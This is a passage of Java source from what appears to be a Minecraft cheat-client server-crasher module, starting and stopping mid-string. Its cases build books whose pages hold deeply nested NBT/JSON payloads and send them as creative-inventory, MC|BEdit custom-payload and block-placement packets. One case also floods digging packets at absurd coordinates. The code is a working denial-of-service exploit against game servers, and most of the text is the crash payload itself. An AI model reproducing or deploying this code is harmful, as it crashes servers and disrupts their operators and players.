,text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}\"));\n                }\n\n                tag.setString(\"author\", RandomStringUtils.random(16, \"0123456789\"));\n                tag.setString(\"title\", RandomStringUtils.random(16, \"0123456789\"));\n                tag.setByte(\"resolved\", (byte) 1);\n                tag.setTag(\"pages\", list);\n                final ItemStack book = new ItemStack(Items.writable_book);\n                book.setTagCompound(tag);\n                PacketUtil.sendPacket(new C10PacketCreativeInventoryAction(0, book));\n                break;\n            }\n\n            case \"BEdit\": {\n                for (int c = 0; c < 30; c++) {\n                    final NBTTagCompound comp = new NBTTagCompound();\n                    final NBTTagList list = new NBTTagList();\n\n                    for (int i = 0; i < 2; i++) {\n                        list.appendTag(new NBTTagString(\"{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}\"));\n                    }\n\n                    comp.setString(\"author\", RandomStringUtils.random(16, \"0123456789\"));\n                    comp.setString(\"title\", RandomStringUtils.random(16, \"0123456789\"));\n                    comp.setByte(\"resolved\", (byte) 1);\n                    comp.setTag(\"pages\", list);\n                    final ItemStack stack = new ItemStack(Items.written_book);\n                    stack.setTagCompound(comp);\n                    final PacketBuffer buffer = new PacketBuffer(Unpooled.buffer());\n                    buffer.writeItemStackToBuffer(stack);\n                    PacketUtil.sendPacket(new C17PacketCustomPayload(\"MC|BEdit\", buffer));\n                }\n                break;\n            }\n\n            case \"Mare\": {\n                for (int i = 0; i < packets.getValue(); i++) {\n                    final NBTTagCompound tag = new NBTTagCompound();\n                    final NBTTagList list = new NBTTagList();\n                    final StringBuilder value = new StringBuilder().append(\"{\");\n                    final int amount = 833;\n\n                    int i2;\n                    for (i2 = 0; i2 < amount; i2++) {\n                        value.append(\"extra:[{\");\n                    }\n\n                    for (i2 = 0; i2 < amount; i2++) {\n                        value.append(\"text:\\u2F9F}],\");\n                    }\n\n                    value.append(\"text:\\u2F9F}\");\n                    list.appendTag(new NBTTagString(value.toString()));\n                    tag.setTag(\"pages\", list);\n                    final ItemStack book = new ItemStack(Items.writable_book);\n                    book.setTagCompound(tag);\n                    PacketUtil.sendPacket(new C08PacketPlayerBlockPlacement(new BlockPos(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ), 2, book, 0.0F, 0.0F, 0.0F));\n                }\n                break;\n            }\n\n            case \"Interact\": {\n                for (int i = 0; i < packets.getValue(); i++) {\n                    PacketUtil.sendPacket(new C07PacketPlayerDigging(C07PacketPlayerDigging.Action.ABORT_DESTROY_BLOCK, new BlockPos(RandomUtils.nextDouble(0, Double.MAX_VALUE), RandomUtils.nextDouble(0, Double.MAX_VALUE), RandomUtils.nextDouble(0, Double.MAX_VALUE)), EnumFacing.UP));\n                }\n                break;\n            }\n\n            case \"One Packet\": {\n                final NBTTagCompound tag = new NBTTagCompound();\n                final NBTTagList list = new NBTTagList();\n\n                for (int i = 0; i < 2; i++) {\n                    list.appendTag(new NBTTagString(\"{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra: